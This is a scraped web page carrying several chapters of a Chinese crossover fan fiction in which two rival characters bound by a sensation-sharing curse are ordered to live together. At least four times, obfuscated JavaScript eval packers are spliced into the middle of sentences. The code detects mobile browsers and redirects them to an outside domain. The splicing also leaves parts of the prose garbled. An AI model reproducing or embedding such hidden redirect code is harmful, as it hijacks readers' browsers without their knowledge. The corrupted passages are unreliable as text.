info,稍有侵犯个人隐私之嫌,但医生的职业道德,有时候就是得看点不该看的东西。这些信息,对她来说,本来就是透明的。 而且自从链接成立后,她有义务监测数据,及时发现问题。 另外硝子和五条悟太熟了,在她眼里,五条悟不太算一个男人,甚至不太算一个人。 为了验证这个疯狂的猜想,她给武装侦探社的与谢野晶子打了个电话。 两位顶尖医师,隔着电话线,进行了一场信息量巨大的交流。 “晶子医生,贵社的那位太宰君,近期是否有出现……嗯,一些无法用常理解释的,短暂的生理性潮红,或心律异常?尤其是在某些特定时间点。” 硝子措辞谨慎,但问这种问题,还是感觉自己有点像个变态。 电话那头的与谢野沉默了几秒,传来一声意味不明的轻笑: “硝子医生也注意到了?看来不是只有我,在观察这些奇怪的现象。我本来还以为,那家伙终于对洗洁精产生了乱七八糟的过敏反应。不过,根据我的观察,上周四下午,他在审讯一个油盐不进的家伙时,确实突然耳根通红,差点拿不稳笔,时间嘛……大概四点左右。” 硝子迅速翻看自己的记录——上周四下午四点零二分,监测仪器记录到,五条悟的多巴胺水平,的确有一个突兀的峰值。 硝子又问道:“那上周四上午十点左右,太宰先生有没有什么症状?” 五条悟当时上着课,没有任何外力刺激的情况下,突然毫无预兆咒力失控,莫名其妙。 与谢野想了想,说:“那天上午,他自称生病了,没来侦探社,但中午就红光满面、一脸餍足地出现了。” 挂了电话,硝子基本确定了:这两个被强行绑定的家伙,他们的链接早已变质。 这诅咒还挺会玩。 于是她泡在了禁书库,几乎翻遍了所有关于诅咒、契约、共生类禁术的记载。 终于,在一本残破不堪的《缚锁秘录》中,她找到了关键词——“双生缚”。 此刻,硝子拿起手机,拨通了那个她最不想打,但又不得不打的号码。 “喂,硝子?有事快说,老子正在排队买新出的……” 五条悟大概又在不务正业。 “立刻来禁书库,叫上太宰治。关于你们身上那个鬼东西,我找到点‘有趣’的资料。” 硝子声音疲惫,但很严肃,且完全是命令语气。 于是,一小时后,五条悟和太宰治前后脚,走进了阴森的高专禁书库。 五条悟脸上还沾着一点奶油,太宰治则一副没睡醒的样子。 “所以,最好的医师小姐,终于破解了我们身上的‘诅咒密码’?”五条悟一如既往,试图掌握对话主导权,“能一键卸载吗?” 硝子没理会他,从书堆里,抽出一本……似乎被血和岁月共同浸染过的褐色厚册子。 “《缚锁秘录》,算你们运气好,这玩意还没完全变成肥料。” 她摊开书页,泛黄的纸张上,是用暗红色墨迹书写的符文和晦涩古文。 然后,开门见山道:“别对我撒谎。你们的‘双生缚’,是不是已经不止共享痛觉了?它进化了,对吧?共享了……其他的感官刺激,比如……快感?” 五条悟立刻装作没听见似的扭头,去看书架上,一本封面像人皮的书:“哇,这书皮材质真别致。” 太宰治则开始专注地研究起自己绷带的缠绕方式,就像那是一项复杂艺术:“硝子小姐的话,真是深奥呢……” “哈。”硝子气笑了,她把古籍“啪”地合上,双手抱胸: “悟,太宰君,需要我去调出你们的身体监测数据吗?分析一下,悟你上周四上午,咒力失控时,太宰君在干什么?还有太宰君上周四下午审讯时,突然的异常反应,和你到底有什么关系?” 她每说一句,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427186|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的表情就僵硬一分。 “所以,是继续嘴硬,还是老实承认,这个该死的链接已经变成了一个不受控制,共享某些感官的破喇叭?” 硝子的目光在两人之间扫过。 一阵沉默后,五条悟抓了抓头发,不耐烦地说道:“……算是吧!这破链接跟个劣质山寨货一样,功能乱升级!” 太宰治叹了口气,语气无奈:“被迫接收一些无聊的感官噪音,确实令人困扰。” 硝子:“哦……我还以为,你们很享受这种……深度捆绑体验呢。” 五条悟大声嚷嚷:“享受?得了吧。和这条青花鱼一起叫享受?” 太宰治瞟了五条悟一眼:“是啊,怎么会呢?这个对象太疯癫了。” “闭嘴!老子蓬勃的生命力怕你承受不起!”五条悟瞪着他。 硝子面无表情地看着他俩:“打扰一下,你们想继续吵的话,请先给我出去。” 两人总算闭了嘴。 硝子这才重新打开书,翻到她做标记的那一页,指尖点在一段密集的文字上: “简单说,‘双生缚’,古老、冷门、且极度缺德。通常是将死者用于诅咒死敌,初衷是让双方在无尽的痛苦折磨中,同归于尽。堪称诅咒界的七伤拳,杀敌一千,自损一千。” “听起来很公平。”太宰点评道。 “但设计这玩意的人,显然是个心理变态的家伙。”硝子继续道,“记录显示,单纯的‘痛觉共享’只是初始阶段,像个开胃小菜。随着时间推移或者受到特定刺激,链接会自行演化……或者说,堕落。” 她停顿了一下,翻译出接下来的句子:“‘痛觉仅为初始,终将沉沦欲海,感官交融,直至灵肉俱焚,再无彼此之分’。” “欲海?!” 五条悟难以置信地瞪着那两个字,感觉它们刚刚跳起来,扇了他一巴掌……这真是世界上最荒谬的东西了。 “这什么玩意儿?最后还他妈是成人限定版?是不是太过分了点?” 太宰治也轻轻“啊”了一声,眼底掠过一丝暗光:“‘欲海’……听起来,比单纯的疼痛或者快感,要更有层次感啊。” 硝子用力敲桌面:“重点是这个‘沉沦’和‘俱焚’!目的是把你们两个彻底溶解!不是给你们开发新玩法的!” 太宰治收敛了调侃,目光掠过古老字句:“记录不全,只有现象描述和结论。触发机制,升级条件,来源等等,最关键的部分,已经被刻意隐去了,或者……被撕掉了。” 他指尖虚点着书页上,一处不自然的空白和残留的毛边:“像是有人,不想让后来者知道太多。这种风格的缜密,让我想起一个很讨厌的家族……葛叶。他们最喜欢研究这种绑定、共生又互相折磨的把戏。” 五条悟直起身,双手插兜,语气冷硬:“还有别的么?” 硝子合上书:“就这些。剩下的,都是些‘灵肉俱焚’后的惨状描写,建议你们别看了,影响食欲。” 之后,他们离开了禁书库。 大门关闭,而书架阴影里,那本刚刚被合上的《缚锁秘录》,内部某一页记载着“双生缚”的纸张,边缘无声无息泛起焦黑,迅速蜷曲,化作一小撮细微灰烬。 灰烬中,一个微如尘芥的复杂符文闪烁了一下,旋即彻底湮灭。 那是一个兼具监听与自毁功能的高阶咒符。 21.第21章 当天夜晚,福泽谕吉和夜蛾正道进行了一次跨组织视频会议,虽然气氛不睦,双方都极力克制着把对方拉黑的冲动,但最终达成了共识,且共同下达了一项针对两位手下的指令——“强制同居”。 两位当事人的反应截然不同,却又殊途同归地表达了同一个核心思想:“我想让这个世界毁灭”,堪称一场灾难预告。 五条悟对着手机屏幕那头的夜蛾,声音拖得又长又欠揍:“夜蛾老师……这是性骚扰!是侵犯基本人权!是非法拘禁!我要求立刻连线总监部投诉,老子要告到你倾家荡产!” “悟,在你把高专本季度维修费用变成天文数字,并且导致三次重要任务评级断崖式下降之后,你已经丧失了投诉权。这是命令!”夜蛾正道的声音疲惫而决绝。 自从硝子告诉他,悟最近的异常,是因为和太宰治的‘不可控感官共享’,虽然没有更多信息,但已经够了。 是的,夜蛾已经受够了这两个混蛋。 他顿了顿,语气更加沉重,对着手机里的混蛋之一说:“看好他,也看好你自己。” 另一边,太宰治语气甜腻地在那里装可怜:“BOSS……您这是要把您忠诚又可怜的部下,亲手推入燃烧的深渊吗?我会被那个脑子里只有糖分和暴力的白毛怪兽,消化得连骨头渣都不剩的哦。” 他甚至还配合着抽了抽鼻子,受了天大委屈似的:“简直是现代版的斯巴达克送子入狼窝呢。” 福泽叹了口气道:“太宰君,这都是为了横滨更长远的和平与稳定,也是为了有效控制……我们双方组织潜在的、日益增长的医疗支出。毕竟……” 他轻笑一声,语气微妙:“如果五条先生因为你的某些……嗯,‘小爱好’而意外身亡,或者……咒力失控,后续引发的连锁反应和麻烦,会非常、非常巨大。这是命令,请遵守,并收集必要情报。同时……”他意味深长地停顿,“控制一下你自己。” 于是,在一个阳光明媚,理论上非常适合自杀和品尝限量甜品的下午,两位被诅咒强行捆绑,又被各自首领无情“抛弃”的麻烦精,并肩站在了同一扇……看起来平平无奇的防盗门前。 而这扇门,注定要承受它这个材质不该承受的灾难。 命运的齿轮,开始转动——向着鸡飞狗跳的方向。 “啧,”五条悟率先发动攻击,挑剔地用目光扫过,“这门丑得像……穿了裙子的青鱼。” 太宰治则探头,用一种评估自杀胜地的专业眼光审视着环境:“嗯……楼层不够高,通风条件一般,跳楼角度也欠佳,视野还被对面大楼挡住了……选址眼光果然欠佳。” 好不容易找到符合两位首领要求的公寓的伊地知,莫名打了个喷嚏。 五条悟懒得废话,直接抬脚……不过用的是咒力——在他鞋底碰到门板之前,看似坚固的锁芯内部,就传来令人牙酸的碎裂声,门应声而开。 “暴力破解,毫无美感。”太宰治摇头叹息。 “礼貌是留给值得尊重的人和门的,显然,这里两者都没有。”五条悟道。 搬家日,即冲突全面爆发日。 第一战场是冰箱。 五条悟打了个响指,就如某种神秘仪式的开端,紧接着,一群穿着印有“Sugar Rush”logo,行动整齐划一的送货员鱼贯而入。 他们以令人瞠目结舌的效率,将一个个包装精美、散发着致命甜香的甜品盒,几乎塞满了那台双开门大冰箱的每一寸空间。 草莓拿破仑、毛豆生奶油喜久福、流心巧克力熔岩塔……琳琅满目,堆积如山,等于一场卡路里的核爆现场,霸道地宣告着主权。 “看清楚了,青花鱼,”五条悟庄严宣布,“这是老子的战略储备粮。动它们,等同于向‘最强’宣战,后果自负。” 太宰治对此的回应是,从他那看似容量有限的背包里,掏出一罐又一罐蟹肉罐头,摞在冰箱冷藏室门架上,剩下的所有空余区域。 “这是我的生命之源。剥夺它,等同于谋杀。五条先生应该不想背上……饿死搭档的罪名吧?” 一场对峙,即刻展开。 “你的糖分帝国,迟早会吸引整个东京的蚂蚁军团来朝圣。” “呵,你的蛋白质仓库散发的腥气,才更像大规模生化武器。” 第二战场是浴室。 五条悟举着一团湿漉漉且沾满不明泡沫的白色绷带,嫌弃道:“这玩意,它又堵塞下水道了!而且谁能告诉我,它为什么永远是湿的?你是用它当抹布,拖了地?还是把它当毛巾,洗了澡?” 太宰治正对着镜子,缠绕着新的绷带,他从镜子里投去漫不经心的一瞥,语气轻飘:“这叫做艺术的沉淀,生活的痕迹。五条先生这种……只知道用‘无下限’粗暴隔绝一切尘世物件的人,自然无法理解。顺便……” 他目光扫过洗漱台上,微微溢出来的某瓶昂贵发胶:“您的定型啫喱,为什么和您一样自大?它快要把我的洗面奶给淹没了。” “那是限量版高级货,优秀的产品总是充满侵略性!” “闻起来像过期酸奶混合了香精。” 第三战场,也是最惨烈的核心战场,因为关乎到未来舒适度。 客厅里,有一张豪华沙发,但也只有唯一一张。 它看起来宽大、柔软,能完美容纳一个成年男性,以各种姿势瘫陷进去。 “我先看到的。” 五条悟蛮不讲理地宣称,话音未落,整个人已经占据了沙发四分之三的面积,长手长脚肆意伸展,宣告着绝对的所有权。 “幼稚园抢凳子游戏的逻辑吗?” 太宰治站在沙发前,阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435702|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影投在五条身上,说道:“根据《武装侦探社资源公平分配法》第三条,公共设施使用权应当轮换。” “嗤,”五条悟从眼罩后甩来一个白眼,“根据《咒术高专强者为尊法》唯一一条,老子强,所以属于老子的。” “哦?是吗?”太宰治微微一笑,那笑容里带着点不怀好意的狡黠,他伸出手指,看似随意地向前探去,“那不知道,根据《人间失格无效化一切法》,您赖以维持舒适距离的‘无下限’,还能不能……” 五条悟瞬间弹射起来,像被针扎了一样,带起一阵风:“混蛋!不准用这种耍赖的招数!” “招数不分高低,有效就是好招。” “论无耻,你才是当之无愧的‘最强’。” 一场关乎沙发主权的激烈谈判,在咒力和异能的威胁下,艰难进行着。 最终,掀翻屋顶之前,双方达成了表面上的妥协。 五条悟找出一卷亮黄色警示胶带,在沙发正中间,拉了一条笔直得能逼死强迫症的三八线。 “以此为准,越线者……负责接下来一个月所有的卫生工作!” 太宰治冷静地审视了一下那条烙在沙发上的分割线,点了点头:“附议。并且,越线者必须当场、立刻、一滴不剩地喝下对方亲手调制的特饮一杯。” “成交。” 脆弱的和平协议,以这种互相伤害的方式,勉强达成。 客厅里,暂时恢复了一种一触即破的虚假宁静。 夜晚,如期降临。 而卧室里,只有一张床。 这显然是两位首领恶趣味,旨在考验,或者说折磨,他们的忍耐极限。 “石头剪刀布。” “三局两胜。” “五局三胜!” “……你出千!” “证据呢,青花鱼?” “你的存在和行为,就是对公平二字的嘲讽。” 最终,在经历了无数轮毫无信任可言的猜拳、以及随之而来的互相指控后,体力和耐心消耗殆尽的两人,以一种……仿佛中间隔着楚河汉界的僵硬姿态,背对背,占据了床铺的两侧最边缘。 中间空出的距离十分宽裕,足以再塞进一个暴怒状态的中原中也,外加他的帽子。 深夜,万籁俱寂。 五条悟睡相极差,这是咒术高专上下,人尽皆知的秘密。 在陷入深度睡眠后,他的身体会启动自动搜寻模式,本能地寻找范围内最温暖、最柔软、最像抱枕的物体。 于是,在某个完全无意识的翻身中,他的长手长脚,自然地缠上了另一侧的太宰治,手臂箍住了对方看似纤细的腰身,下巴甚至还在那头柔软蓬松的棕发上,微微蹭了蹭,找到一个舒适的位置。 链接,在一瞬间,忠实地将感官信号,放至……最大! 22.第22章 体温,透过单薄的睡衣布料,清晰传递过来。 五条悟的温度偏高,像个小火炉,散发着蓬勃热量。 而太宰治的体温则偏低,触感如玉石。 相触的那一刹那,可以感觉到对方手臂肌肉紧实的线条,呼吸时胸膛平稳的起伏,皮肤相贴处传来的细微摩擦…… 甚至能隐约感受到,对方心脏平稳有力的搏动,以及一种被包裹的诡异安全感,明知危险却诱人沉溺。 然后两人几乎在同一时刻,猛然从睡梦中惊醒! 太宰治的身体,在一秒内彻底僵直,眼睛在浓稠的黑暗中,骤然睁开。 五条悟混沌的大脑,也瞬间宕机,一时无法处理“怀里有个暖呼呼还挺舒服的东西”,和“这玩意好像是太宰治”这两个信息……因为它们之间存在着巨大且荒谬的鸿沟。 黑暗中,只剩下彼此忽然脱缰,如擂鼓般疯狂加速的心跳,和略显急促的呼吸声。 透过那该死的链接,疯狂共鸣、放大,震耳欲聋,声声不息。 僵持足足持续了五秒,时间就像被冻结。足够一个狙击手完成瞄准,也足够两个死对头在脑海里,把对方凌迟一遍。 然后,如两块同极相斥的磁铁,两人用几乎要把自己甩出去的力道,分别向反方向弹开…… 速度之快,差点一起滚下床沿。 重新背对背后,两人中间拉开的距离,比之前更加遥远。 冷冽的空气,瞬间取代了刚才过热且令人心慌的体温。温暖的余韵散去,只剩下冰冷的现实,和更冰冷的尴尬。 震耳欲聋的沉默,在房间里弥漫、发酵,让人窒息。这沉默杀伤力很强,因为它赤裸裸地揭示了……刚才那一刻的失控。 “……你越线了。” 终于,太宰治的声音干巴巴地响起,带着一丝不太常见的紧绷。他试图用指责,来掩盖内心深处某种失序的情绪波动。 “放屁,是你先靠过来的!”五条悟立刻反驳,声音里带着点刚醒的沙哑,和不自然的尖锐。 而他也忘了一句箴言:反驳越快,越显心虚。 “哈,嘴硬!是你犯规在先!” “是你的绷带先动的手,它们像有生命的触手一样,试图绑架我!” “恶人先告状是你的专长吗?证据呢?” “链接记录就是最好的证据!它肯定录下了你那边的主动靠近信号!” “那玩意儿只能证明,刚才是谁像只饿了三天的大型八爪鱼一样,死死缠着我不放!” “彼此彼此,你缠人的功力也不遑多让!明明你刚才也是像水草一样缠着我!” “哦?那要不要现在就把夜蛾校长和福泽先生叫起来,连夜成立一个联合调查组,为我们的睡眠姿势,做个司法鉴定?然后把‘五条悟夜袭搭档未遂’,写进你的教师评语里?” 苍白无力的争吵,持续了一阵,然后又在奇怪的氛围中,偃旗息鼓。 两人都不再说话,只是更加僵硬的,维持着背对背的姿势,仿佛那是最后的防线。 他们各自努力平复着属于自己的那一片兵荒马乱,却发现似乎是徒劳。好在对方也同样,通过链接,不断传递过来的,还有对方的混乱心绪。 这一夜,沉默是唯一的盾牌,而链接,成了不断泄密的叛徒。 他们背对着彼此,却比任何面对面时,都更清晰地感知到对方的存在。 几乎一夜无眠。 直到晨光穿百叶窗缝,于室内,割出明暗交织的痕迹。 五条悟顶着一头比平时更加狂野不羁的乱发,烦躁地揉着后颈,走出卧室,带着一身的低气压。 他准备用双倍糖分的早餐,来填补内心的巨大空洞,同时,对抗因严重睡眠不足带来的眩晕感。 然后,他的脚步顿住了,整个人愣在了客厅门口。 那张象征着脆弱和平与绝对分裂的沙发,依然矗立在客厅中央。中间那条刺眼的三八线,也依然横亘在那里。 但是,在属于太宰治的那一侧沙发上,景象已经彻底改变。 白色的绷带,被以一种非常繁复、精巧、甚至带着点奇异美学的方式,一层层、一圈圈地缠绕在沙发的靠背、扶手和坐垫上。 它们交织、盘绕,最终形成了一个无比复杂庞大,看起来却异常柔软,甚至隐隐透着点邀请意味的……巢穴。 那不仅仅是一个用绷带堆出来的地方,它是一个被精心构筑的……半包围私密空间,像某种现代艺术装置,又像鸟类用最柔软的材料筑起的,用于安眠和躲避危险的窝。 最离谱的是,在“巢穴”顶端,某人甚至用多余的绷带,歪歪扭扭地打了一个堪称丑萌的……巨大蝴蝶结,成了这个诡异造物,唯一残存的天真。 整个装置,是一种宣言、圈地与防御。 五条悟盯着这个与周围环境格格不入的白色“巢穴”,大脑宕机了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440253|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足足十秒钟,才勉强处理完这超现实的一幕。 紧接着,一声无法抑制、惊天动地的爆笑,终于冲破了了他的喉咙,打破了清晨静寂的空气。 “哈哈哈哈哈哈哈哈!太宰!你他妈是属鸟的吗?还是你终于精神变态到,觉得自己是只需要孵蛋的母鸡了?这算什么?无效化患者的终极防御工事?还是你那贫瘠安全感的具体化表现?哈哈哈哈哈哈!!” 他的笑声在空旷的房间里疯狂回荡,充满了毫不掩饰的嘲弄,由衷的惊奇,以及……连他自己都尚未理解的隐隐不爽。 就在这时,太宰治的声音从厨房门口传来:“一大早,就像只烦人大狗一样吵闹,五条先生,您的教师素养呢?” 五条悟的笑声戛然而止,他回过头,看到太宰治正倚着门框,端着咖啡,眼睛里满是戏谑。 他挑眉问道:“你这是在搞什么鬼?” 太宰治啜饮一口,被苦得微微蹙眉,随即又展开一个无害笑容:“怎么了?我的艺术创作,如此深刻地触动到了您贫瘠的审美神经?” “艺术创作?你管这团乱七八糟的玩意儿,叫艺术?”五条悟指着那个巢穴,夸张地比划着。 “啊,果然无法理解呢。”太宰治叹了口气,语气带着点“夏虫不可语冰”的惋惜。“这是基于人体工学和心理安全需求的个性化空间改造。毕竟,和一个睡眠姿势如滚筒洗衣机的人,共享居住空间,总得采取点必要的自我保护措施。” 他意有所指地瞥了一眼五条悟,成功让对方的脸色黑了一度。 “还是说……”太宰治拖长语调,眼神扫过巢穴,最终落在五条悟脸上,笑容加深,“您其实是在嫉妒?嫉妒我拥有一个舒适、私密,且完全属于个人的地盘?” 这番话,戳中了五条悟那点微妙的,不愿承认的被排除感,他像被踩了痛脚,立刻炸毛:“嫉妒?老子会嫉妒你这鸟窝?笑话!老子只是觉得它丑得清新脱俗!” 太宰治只是微笑,不再言语。 他端着那杯堪比毒药的咖啡,踱步到自己的巢穴前,然后……舒舒服服地窝了进去,甚至发出了一声气死人的满足轻叹。 而就在二人对峙之时,在巢穴内侧,紧贴着沙发缝隙的阴影里,一小截几乎与白色绷带融为一体的透明金属丝,正巧妙地编织在绷带网格之中。 那金属丝的顶端,一个针尖般大小的光点,正随着太宰治轻晃的震动频率,一下一下地闪烁着。 23.第23章 安全屋的夜晚,总比白天更加煎熬。 当城市陷入沉睡,那根连接着两人的无形纽带,就变得格外清晰。 寂静放大了感官,而诅咒,则将这份感知变成了双倍的折磨。 五条悟的睡相,堪称一场小型灾害。 这位白日里不可一世的“最强”,在陷入深度睡眠后,会无意识地侵占一切可侵占的空间。他的睡姿就像他的性格一样,充满侵略性,手臂和长腿总会突破楚河汉界,在床铺上划出新的领地。 而太宰治,本就浅眠,如今更是备受煎熬。 任何细微的动作——布料摩擦的窸窣声、身旁人翻身的重量变化、甚至只是呼吸频率的些微改变——都会通过那该死的链接,被放大成不容忽视的感官信号,全部投射在他的意识里。 他感觉,自己像住进了一个永不关门的房间,隔壁邻居的所有动静,都一览无余。 于是,在经历了又一次……因肢体接触而导致的尴尬惊醒后,太宰治彻底放弃了卧室那张床。 他默默走向客厅,在那个精心编织的绷带巢穴前,驻足片刻,随后,毫不犹豫地钻了进去。 经过几天完善的巢穴,现已变得愈发精致复杂。绷带交织缠绕,形成了一个柔软稳固的半封闭空间。最内层,绷带被编织成了类似吊床的结构,整个巢穴既能提供包裹感,又不会让人感觉压抑。 五条悟躺在床上,听着客厅里窸窸窣窣的动静,莫名觉得浑身不自在。 链接那头传来的,不再是近在咫尺的体温和呼吸,而是一种刻意保持的距离感。 他翻了个身,盯着天花板看了半晌,突然暴躁地坐起身。 “啧。”他抓了抓头发,走下床,从衣柜里翻出一条备用的羽绒被,迈着大步走到客厅。 太宰治正蜷在巢穴里调整姿势,听到脚步声,懒洋洋地抬起眼。 五条悟把被子往巢穴方向一扔,动作粗鲁,像在丢垃圾:“喂,垫着。老子不怕冷,但你万一冻病了传染给我,麻烦的是我。” 太宰治接住那条蓬松柔软的羽绒被,手指在细腻的面料上停留片刻,眼底闪过了然。 他轻轻抖开被子,仔细铺在巢穴底层,动作颇具仪式感。 “五条先生居然会关心人,这算是‘最强’的弱点吗?”太宰治躺回改造好的巢穴里,声音带着一抹戏谑。 “少自作多情了!这是最基本的风险管控。你要是生病了,老子还得感受头痛发烧,亏大了。”五条悟立刻反驳,耳根却微微发红。 话虽如此,当太宰治真正在升级版的巢穴里安顿下来时,两人都感受到了一种微妙的变化。 距离让链接的干扰变得不那么直接,而那条意外柔软的垫被,则像是一个不便明说的休战信号。 那一夜,是他们同居以来,睡得最安稳的一夜。 太宰治在绷带的环绕和羽绒被的温暖中,难得地陷入了深度睡眠;而五条悟也终于能够自由翻身,而不必担心碰到什么不该碰的。 清晨醒来时,两人眼底的黑眼圈都淡了些,连带着,针锋相对的火药味,也消散了几分。 “看来,你的鸟窝还挺有用。”五条悟打着哈欠走出卧室,语气里带着少见的平和。 太宰治正从巢穴里钻出来,闻言轻轻挑眉:“那当然。” 残酷的同居生活,在经历数日后,终于变成了一种别扭的平衡。 而冰箱的告急,日用品的匮乏,以及两个刚刚尝到睡眠甜头的成年人,让一场旨在维持这份脆弱的采购之旅,变得刻不容缓。 周末的超市,人潮涌动。 五条悟推着购物车,动作娴熟,目标明确,冲向了生鲜区。 他完全无视了所有普通肉类,直奔最顶级的A5和牛专区,手指掠过包装,将几盒价格标签吓死人的雪花牛肉扔进了车里。 “蛋白质,是维持‘最强’的基础燃料。” 接着,他又横扫了进口水果区,把那些名字拗口、产地偏远、价格狂飙的品种全扫荡了一遍。 五条悟的购物哲学很简单:只买贵的。因为没时间去挑选对的。 而太宰治的购物路线,则如他的思维一样难以捉摸。他推着车,晃荡在那些寻常人很少驻足的区域。 他的购物车里,很快出现了各式不同风格的商品,比如茶具、名著、植物种子;以及另一些令人费解的物品:一捆强度足以吊起小型汽车的工业级绳索,几罐色彩饱和度很高、气味刺鼻的喷漆,他甚至拿起了一罐名为“终极挑战”的发酵鲱鱼罐头,眼神放空地看着配料表,似乎在思考,用它能否熏晕自己,以获得安宁。 五条悟目光扫过太宰治堪称行为艺术的购物车,忍不住开口:“喂,青花鱼,你是在为世界末日储备物资,还是在策划下一次恐怖袭击?那罐鲱鱼,是准备用来同归于尽吗?还是毒杀哪个倒霉蛋?” 太宰治将鲱鱼罐头轻轻放进车里:“五条先生,生命的乐趣在于尝试各种可能性。比如,体验窒息的不同方式,或者……极端情境下的解决方案。” 他瞥了一眼五条车里,那些价格不菲的和牛和水果:“倒是您,如此执着于口腹之欲,难怪咒力都带着一股……铜臭味。” “总比某些人,把自暴自弃当成生活情趣强。” “彼此彼此,某些人的脑回路里,除了‘最强’就是‘最贵’。” 默契这种东西,连吵架时都能体现出来。 两人随即又分头去逛。 就在太宰治推车经过家居区时,他的目光被展示区里一台全身按摩椅吸引了。 那是一台造型优美,功能齐全的豪华按摩椅,广告牌上写着“极致放松,焕活身心”。 太宰治正抚过它的皮质靠背时,一道身影,从另一边走来,也出现在了按摩椅旁。 五条悟长腿一迈,已经悠闲地坐在了椅子上,然后按下启动键,开始享受机器的按摩。 “不好意思,先到先得。”五条悟舒服地眯起眼睛,对着走来的太宰露出得意的笑容。 “哈,难道不是我先到的吗?” “我先坐下的。” 太宰治自然地靠在扶手上:“我也想体验。” 两人一坐一立,在按摩椅前,形成微妙对峙。 “你这家伙,不是最喜欢在鹤见川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451399|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里随波逐流吗?那不就是天然按摩?” “五条先生不是会反转术式吗?连肌肉酸痛都无法自愈?” 说着调侃的话,两人的动作却都没停。 五条悟调整着按摩椅模式,让其力道加重;太宰治则轻触控制面板,“不小心”切换到了轻柔档位。 “喂!” “手滑。” 僵持中,按摩椅在不同模式间来回切换,力度三秒一改,时重时轻。 路过的顾客看着按摩椅上舒服躺着的银发男子,和优雅倚靠的黑发青年,纷纷露出好奇表情。 “二位先生,那边还有另一款展示品......”一位导购员小心翼翼地提醒。 “就要这个。”两人异口同声。 就在这时,链接传来一阵奇特的感受——按摩椅的震动通过座椅和扶手,同时传递给两人,又被诅咒翻倍放大,变成一种难以言喻的舒适感。 “……” “……” 片刻沉默后,五条悟突然站起身,掏出钱包。 “行吧,老子买了。”他对着导购员潇洒挥手,然后转头看向太宰,“不过......” 太宰治微微侧头。 “看在室友的份上,允许你偶尔来蹭用。”五条悟拍了拍按摩椅的靠背。 太宰治唇角微扬:“那就多谢五条老师的慷慨了,作为回报,我的绷带艺术也可以为您提供一些......独特的放松方式。” 导购员走了过来,帮五条悟刷完卡。 告知送货上门的地址后,五条悟得意地打了个响指,转过身,正准备再享受一下这台刚刚属于他的按摩椅,却发现……太宰治已经堂而皇之地坐在了椅子上,手指正划过控制面板。 “喂喂,青花鱼,我付的钱,第一个体验的,怎么也该是我这个主人吧?”五条悟踱步过去,居高临下地看着已然坐定的太宰。 太宰治抬起头,眼睛里满是无辜:“五条先生,您刚才不是已经体验过了吗?我只是在帮您测试一下,它在不同使用者身上的性能是否稳定。这可是身为室友的贴心之举。” 说着,他的指尖已经按下了启动键。 按摩椅发出低沉嗡鸣,开始缓缓躺倒。 “谁要你这种贴心!”五条悟几乎在同时开始行动,他不是会乖乖讲道理的人。凭借瞬移能力,他身形一闪,就想强行挤进本就为单人设计的按摩椅空间。 然而,太宰治似乎早有预料,或者说,他本能地预判了五条的行动。 在五条悟身形模糊的瞬间,太宰不仅没让,反而微微调整姿势,试图稳固自己的地盘。 结果就是…… “砰!” 一声闷响,两人以一种非常别扭的姿势,侧着身,被牢牢卡在了本不算宽敞的按摩椅里。 五条悟半边屁股挤占了座椅左侧,一条长腿无处安放地踩在地上,另一条腿,则和太宰治的腿紧紧相贴。 太宰治占据了右侧,他的后背紧贴着五条悟的胸膛和手臂,整个人,几乎是半靠在对方怀里…… 更糟糕的是,按摩椅已经启动,无法中途停止…… 24.第24章 “你……” “您……” 两人同时开口,又同时噎住。 狭窄的空间里,体温透过薄薄的衣料,迅速传递。 诅咒链接在这一刻无比活跃,将这份紧贴的触感,对方身体线条的起伏,甚至隔着衣物,都能感受到的肌肉纹理,加倍映射在了彼此感知里。 按摩椅徐徐躺下,两人也只能跟着躺下,悬空。 程序开始沿着预设的轨道运行,为这“一位”使用者提供服务。 于是,滚轮按压过五条悟的后背,同步的力道和奇异触感也出现在太宰治背上。气囊揉捏着太宰治的臂膀,五条悟也同步感觉到,自己手臂传来被拿捏的酸胀感。 “呃……” “嗯……” 两人不约而同发出了呻吟。 